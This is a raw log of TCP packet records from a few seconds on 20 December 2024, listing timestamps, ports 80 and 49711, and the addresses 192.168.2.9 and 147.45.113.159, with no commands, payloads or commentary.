Dec 20, 2024 17:13:33.286057949 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.286242008 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.286293983 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.286823034 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.287741899 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.287753105 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.287775040 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.287823915 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.287848949 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.288347006 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.288487911 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.288558960 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.289187908 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.289315939 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.289685965 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.289911985 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.289988995 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.290725946 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.290738106 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.290775061 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.290802956 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.291717052 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.291728020 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.291776896 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.292511940 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.292525053 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.292587042 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.293144941 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.293155909 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.293203115 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.293876886 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.293991089 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.294035912 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.294703960 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.294904947 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.294962883 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.295444012 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.295556068 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.295598030 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.388802052 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.389075994 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.389090061 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.389192104 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.389230967 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.389271021 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.389832973 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.390409946 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.390886068 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.390898943 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.390953064 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.391025066 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.391654015 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.392141104 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.392194033 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.392477036 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.392488003 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.392524004 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.393268108 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.393318892 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.393805981 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.394059896 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.394071102 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.394150972 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.394778013 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.394819021 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.394983053 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.395577908 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.395620108 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.395636082 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.396392107 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.396404982 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.396434069 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.397145033 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.397193909 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.397277117 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.397916079 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.397960901 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.397999048 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.398834944 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.398847103 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.398891926 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.399513960 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.399601936 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.399769068 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.400350094 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.400465012 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.400515079 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.401050091 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.401184082 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.401226044 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.401850939 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.401902914 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.401976109 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.402636051 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.402988911 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.403039932 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.403445959 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.403491974 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.403526068 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.404232025 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.404282093 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.404409885 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.405014992 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.405060053 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.405230999 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.405792952 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.405836105 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.406033993 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.406569004 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.406616926 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.406739950 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.407438040 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.407584906 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.407598972 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.408155918 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.408291101 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.408582926 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.408931017 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.408942938 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.408972025 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.409668922 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.409708023 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.409857988 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.410511971 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.410556078 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.410590887 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.411237001 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.411284924 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.411308050 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.453073025 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.470873117 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.470988035 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.471002102 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.471019983 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.471044064 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.471061945 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.471879959 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.471970081 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.472012997 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.472570896 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.472958088 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.473421097 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.473437071 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.473462105 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.473474979 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.474143028 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.474724054 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.474775076 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.474951982 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.474967003 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.475011110 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.475687027 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.475895882 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.476788044 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.476845980 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.476892948 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.476927996 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.477224112 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.477468967 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.477508068 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.478051901 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.478236914 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.478277922 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.478811979 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.479149103 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.479198933 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.479577065 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.479707003 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.479743004 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.480350018 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.480690002 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.480731010 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.481127024 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.481667995 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.481709003 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.482076883 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.482264042 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.482330084 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.482685089 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.483009100 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.483048916 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.483541965 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.483555079 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.483596087 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.484292030 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.484390020 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.484458923 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.485055923 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.485398054 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.485438108 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.485812902 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.531174898 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.531331062 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.531440020 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.531476974 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.531697989 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.531774998 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.532278061 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.532519102 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.532666922 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.532701015 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.533286095 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.578061104 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.580952883 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.581378937 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.581394911 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.581459045 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.581501007 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.581537008 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.582047939 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.582254887 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.582304955 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.582834959 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.583066940 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.583101034 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.583585978 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.583597898 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.583669901 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.584353924 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.584841967 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.585117102 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.585129976 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.585280895 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.585443020 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.585887909 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.585977077 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.586018085 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.586674929 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.587341070 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.587399006 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.587490082 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.587508917 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.587596893 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.588237047 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.588315964 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.588344097 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.589020967 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.589687109 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.589728117 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.589803934 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.589840889 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.589953899 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.590650082 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.590842962 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.590939999 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.591448069 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.591713905 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.591753006 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.592494965 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.592534065 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.593242884 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.593306065 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.593976021 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.594028950 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.594032049 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.594043970 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.594079018 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.594587088 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.595253944 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.595391035 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.595402956 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.595429897 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.595443010 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.596072912 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.596240044 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.596277952 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.596843958 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.596921921 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.597065926 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.597637892 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.597724915 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.598098040 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.598438978 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.598493099 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.598526001 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.599200010 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.600050926 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.600064993 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.600114107 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.600162983 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.600198984 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.600750923 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.600833893 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.601535082 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.601583004 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.601605892 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.601646900 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.602296114 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.602380037 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.603096962 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.603142977 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.603245020 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.603286028 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.663333893 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.663414955 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.663429976 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.663465977 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.663475990 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.663502932 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.664069891 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.664727926 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.664773941 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.664889097 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.664911985 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.664952993 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.665823936 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.666026115 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.666069984 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.666441917 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.667136908 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.667285919 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.667300940 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.667332888 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.667370081 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.668035030 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.668122053 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.668216944 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.668853045 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.668992996 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.669101000 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.669532061 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.669754982 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.669785023 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.670305014 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.670682907 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.670716047 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.671112061 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.671499968 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.671546936 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.671932936 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.672096968 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.672137976 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.672655106 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.672791958 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.672836065 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.673501968 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.673682928 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.673733950 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.674263954 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.674988985 CET	80	49711	147.45.113.159	192.168.2.9
